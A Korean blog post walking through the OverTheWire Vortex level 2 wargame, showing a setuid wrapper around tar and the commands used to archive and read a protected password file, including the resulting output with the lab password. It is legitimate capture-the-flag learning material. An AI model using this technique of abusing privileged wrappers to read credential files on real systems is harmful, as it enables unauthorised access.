반응형

Level Goal

Create a special tar file

[source]

#include <stdlib.h>

#include <stdio.h>

#include <sys/types.h>



int main(int argc, char **argv)

{

        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };

        execv(args[0], args);

}

tar 명령을 이해하고 있다면 쉽게 풀 수 있는 문제였다 


vortex2@melinda:/vortex$ ./vortex2 /etc/vortex_pass/vortex2
/bin/tar: Removing leading `/' from member names
/bin/tar: /etc/vortex_pass/vortex2: Cannot open: Permission denied
/bin/tar: Exiting with failure status due to previous errors

바로 쉘이 떨어질줄 알았는데 \를 제거하라는 말을 듣고 디렉토리를 /etc/vortex_pass로 이동한뒤에 커맨드를 날렸다 .

vortex2@melinda:/etc/vortex_pass$ /vortex/vortex2 ./vortex3 |cat /tmp/ownership.\$\$.tar

vortex30000400001161300116130000000001212164101775012202 0ustar  vortex3vortex364ncXTvx#

성공 

반응형

'과거의 컴퓨터 공부 > Overthewire@vortex' 카테고리의 다른 글

(vortex)vortex5 -> vortex 6  (0) 2014.09.08
(vortex) level4-> level 5  (0) 2014.09.07
(vortex)level3->level4  (0) 2014.09.07
(vortex) Level1 -> Level2  (0) 2014.09.05
(vortex) Level 0 -> Level1  (0) 2014.09.05
,